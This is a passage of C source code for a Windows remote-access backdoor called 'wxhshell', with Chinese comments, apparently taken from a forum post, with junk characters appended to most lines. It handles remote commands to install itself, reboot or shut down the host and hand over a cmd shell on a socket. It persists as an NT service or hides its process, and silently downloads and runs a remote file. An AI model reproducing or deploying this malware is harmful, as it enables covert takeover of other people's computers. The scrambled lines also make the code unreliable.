  #6Fez`A  
  // 帮助 RqEH| EUZ  
  case '?': { ,mhQ"\+C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R'EUV0KX>Y  
    break; 7w,FX.=;cv  
  } VVH.2&`I  
  // 安装 Unj.f>U  
  case 'i': { A1'hlAGF  
    if(Install()) %VYAd)gC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {"oxJ`z4  
    else f=C,e/sw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eAv4FA4g  
    break; wO ?+Nh  
    } |(5W86C,ju  
  // 卸载 kpL@P oQ/r  
  case 'r': { FuI73  
    if(Uninstall()) \%PaceH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1XM^8 .;  
    else ku$$ 1xq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ya>oCr}K  
    break; Gj"7s8(/K|  
    } 2 rw%H  
  // 显示 wxhshell 所在路径 1) ta  
  case 'p': { BdlVabQyKW  
    char svExeFile[MAX_PATH]; 7K)6^r^  
    strcpy(svExeFile,"\n\r"); g?-lk5  
      strcat(svExeFile,ExeFile); t`*!w|}(1  
        send(wsh,svExeFile,strlen(svExeFile),0); ~\{^%~[48  
    break; *Qugv^-  
    } MZ Aij  
  // 重启 R|O8RlH  
  case 'b': { u[nyW3MZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6qcO?U  
    if(Boot(REBOOT)) @-UL`+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .>Ljnk  
    else { DXz} YIEC  
    closesocket(wsh); H*#s }9=kZ  
    ExitThread(0); ]|`C uc  
    } *`ZH` V  
    break; q_-7i  
    } n6s}ww)  
  // 关机 n 1!?"m!  
  case 'd': { *OuStr \o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cmc3k,t  
    if(Boot(SHUTDOWN)) foJdu+^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,9WBTH8  
    else { aW>6NDq(  
    closesocket(wsh); O'Js}  
    ExitThread(0); W6On9 3sa  
    } 9Xx's%U  
    break; Cvn#=6V3  
    } ()~pY!)1/  
  // 获取shell 7 S?4XyU/o  
  case 's': { \[Z?&  
    CmdShell(wsh); `rf_7  
    closesocket(wsh); +$oF]OO  
    ExitThread(0); ]\7]%(  
    break; z5)s/;Sc  
  } . 'Y]R3\M+  
  // 退出 jDQZQ NS  
  case 'x': { ^f# F I&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); os/vtyP:a  
    CloseIt(wsh); [IK  )  
    break; %-d]X{J:  
    } 76u&EG%  
  // 离开 `uC@nJ  
  case 'q': { Pp )3(T:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4;2< ^[M  
    closesocket(wsh); o6V}$wT3J  
    WSACleanup(); H^YSJ 6  
    exit(1); oWYmj=D~2z  
    break; P2bZ65>3y  
        } $@UN4B?y  
  } :=J,z,H_U  
  } =$]uoA  
)_U<7"~0l  
  // 提示信息 >nzdnF_&zW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xQUu|gtL4  
} !Q#{o^{Y~  
  } lT(oL|{#P  
;3' .C~   
  return; 8MSC.0   
} -wjN"g<  
F&&$Qn_+  
// shell模块句柄 br|;'i%(  
int CmdShell(SOCKET sock) H,b5C_D29  
{ ]\!?qsT3}  
STARTUPINFO si; jYe'V#5S#  
ZeroMemory(&si,sizeof(si)); U"Zmv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O} f80K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^MVkZ{gtre  
PROCESS_INFORMATION ProcessInfo; eopD5  
char cmdline[]="cmd"; L'F<ev  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {?yr'*  
  return 0; Hla0 5N' 4  
} s0PrbL%_`  
^Vpq$'!  
// 自身启动模式 i9/aAH0  
int StartFromService(void) nw-I|PVTNa  
{  ]C) 4  
typedef struct ?mwD*LN3o  
{ )b:7-}d  
  DWORD ExitStatus; Z l*X?5u  
  DWORD PebBaseAddress; }mAa}{_  
  DWORD AffinityMask; rb|U;)C  
  DWORD BasePriority; [ i]Ub0Dh7  
  ULONG UniqueProcessId; %"P,1&\^  
  ULONG InheritedFromUniqueProcessId; Dc_yM  
}   PROCESS_BASIC_INFORMATION; @;'o2   
1PpyVf  
PROCNTQSIP NtQueryInformationProcess; qzTuxo0B  
)a-Du$kd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d+'p@!W_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ariLG [:X  
nJo`B4'U  
  HANDLE             hProcess; NUp<e%zB  
  PROCESS_BASIC_INFORMATION pbi; %@u;5qD&  
zzyHoZJP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rnF/H=I/  
  if(NULL == hInst ) return 0; p>upA)W]  
d!$Z (W0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2o'Wy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9^j &V mF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l6d$V 9A  
wYmM"60  
  if (!NtQueryInformationProcess) return 0; /AW=5Ck-#  
;UfCj5`Q)4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z-l=\ekJ  
  if(!hProcess) return 0; 8|" XSN  
;A*`e$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :3I@(k\PY  
v&=gF/$  
  CloseHandle(hProcess); o|$AyS{1  
:$n=$C -wp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #E&80#Z5  
if(hProcess==NULL) return 0; "T|PS 6R~  
A -b [>} _  
HMODULE hMod; *m#Za<_Gv  
char procName[255]; yr lf+tl  
unsigned long cbNeeded; Y 1t\iU  
'hs2RSq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @w?P7P<O`  
#Jw1IcuH  
  CloseHandle(hProcess); }yz (xH  
Jl&-,Vjb  
if(strstr(procName,"services")) return 1; // 以服务启动 %oO4|JkJX  
7:2WgL o  
  return 0; // 注册表启动 F~P%AjAx'  
} w$Rro)?}7  
sashzVwJ-=  
// 主模块 NB8/g0:=n&  
int StartWxhshell(LPSTR lpCmdLine) (,8$V\  
{ [Lzw#XE  
  SOCKET wsl; MerFZd 1  
BOOL val=TRUE; Gy6l<:;  
  int port=0; } x2DT8u  
  struct sockaddr_in door; fc |GArL#}  
aL&n[   
  if(wscfg.ws_autoins) Install(); FGoy8+nB1M  
_iir<}  
port=atoi(lpCmdLine); zlEX+=3  
j!7{|EQFcl  
if(port<=0) port=wscfg.ws_port;  t$De/Uq  
ayfFVTy1d  
  WSADATA data; &8vCZN^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LRNh@g4ei  
9;B0Mq py  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <x<"n t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;u>DNG|.  
  door.sin_family = AF_INET; `nZ)>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); egq67S  
  door.sin_port = htons(port); E/%9jDTQ  
u)~C;f)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zc;|fHW~O  
closesocket(wsl); !K'}K>iT  
return 1; o !vE~  
} rv|)n>m  
(w}H]LQ  
  if(listen(wsl,2) == INVALID_SOCKET) { P7{gfiB  
closesocket(wsl); Uk6HQQ  
return 1; x;8A!8w  
} AD|2q M))  
  Wxhshell(wsl); ~x ]jB  
  WSACleanup(); 70eb]\%  
<c2'0I >  
return 0; Z\k&gio5C^  
\Hn>oonph  
} \Ol kM<  
_t Yx~J2.Q  
// 以NT服务方式启动 BS:+~|3w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yge,8i)c  
{ {o.FlX  
DWORD   status = 0; U 15H2-`  
  DWORD   specificError = 0xfffffff; <|SRe6m  
b)e *$)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [O?z@)dx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oyYR-4m\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R5X.^u  
  serviceStatus.dwWin32ExitCode     = 0; B Ere*J  
  serviceStatus.dwServiceSpecificExitCode = 0; !Ikt '5/  
  serviceStatus.dwCheckPoint       = 0; ]%IT|/;9Y  
  serviceStatus.dwWaitHint       = 0; (adyZ/j  
v#U"pn|M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7G/1VeVjB  
  if (hServiceStatusHandle==0) return; p_${Nj  
Qm Ce>+  
status = GetLastError(); Yq%9M=#k  
  if (status!=NO_ERROR) C<m{*C-`a  
{ .P7"e5g e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (A~/'0/  
    serviceStatus.dwCheckPoint       = 0; Z2'Bk2 L  
    serviceStatus.dwWaitHint       = 0; {M^3m5.^  
    serviceStatus.dwWin32ExitCode     = status; (q(~de  
    serviceStatus.dwServiceSpecificExitCode = specificError; -UOj>{-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d~JKH&x<  
    return; i;_tI#:A  
  } MM x9(`t*.  
PqiB\~o@Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T^Ze3L]  
  serviceStatus.dwCheckPoint       = 0; 9Ru8~R/\  
  serviceStatus.dwWaitHint       = 0; nv~%#|v_W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8[E!E)4M  
} 3%%o?8ES  
fR*q?,  
// 处理NT服务事件,比如:启动、停止 f (F)1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ".<DAs j  
{ aPm`^ q  
switch(fdwControl) ,v';>.]  
{ $**r(HV  
case SERVICE_CONTROL_STOP: Ljx(\Cm  
  serviceStatus.dwWin32ExitCode = 0; d ysC4DS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'U\<IL#U  
  serviceStatus.dwCheckPoint   = 0; X ><?F|#7T  
  serviceStatus.dwWaitHint     = 0; HLV2~5Txc  
  { !3*(N8_|#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [&#/]Ul'  
  } 3< 2}V  
  return; aD=A^ktx  
case SERVICE_CONTROL_PAUSE: SU/BQ3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *rIk:FehLB  
  break; ;3B1_vo9  
case SERVICE_CONTROL_CONTINUE: NqDHCI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vM*($qpAy  
  break; q@nP}Pv&5  
case SERVICE_CONTROL_INTERROGATE: ~e+\k>^eN  
  break; >U]C/P[+  
}; \ytJ=0r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c0;t4( &8  
} 'VlDh`<W  
4:dH]  
// 标准应用程序主函数 q&W[j5E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L.jh   
{ X bD4:i%  
^`)) C;  
// 获取操作系统版本 +KvU$9Ad>  
OsIsNt=GetOsVer(); RHO(?8"_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pl"Nus   
s0k`p<q  
  // 从命令行安装 n1VaLD  
  if(strpbrk(lpCmdLine,"iI")) Install(); CB/D4j;  
9Bw|(J  
  // 下载执行文件 N#DYJ-~*  
if(wscfg.ws_downexe) { &' Ne! o8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9&_<f}ou  
  WinExec(wscfg.ws_filenam,SW_HIDE); (<}&DE  
} /q5v"iX]T  
37|&?||  
if(!OsIsNt) { ak |WW]R  
// 如果时win9x,隐藏进程并且设置为注册表启动 EioB%f3  
HideProc(); g'V>_u#(  
StartWxhshell(lpCmdLine); -1U D0(  
} D-4f >  
else 7zSLAHW  
  if(StartFromService()) NT+?  #0I  
  // 以服务方式启动 Z^IPZF  
  StartServiceCtrlDispatcher(DispatchTable); #>mr[   
else Qg[/%$x.  
  // 普通方式启动 bS"fkf9  
  StartWxhshell(lpCmdLine); Htgx`N|  
2VE9}%i  
return 0; /5:bvg+  
}
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只看该作者 1 发表于: 2006-10-10
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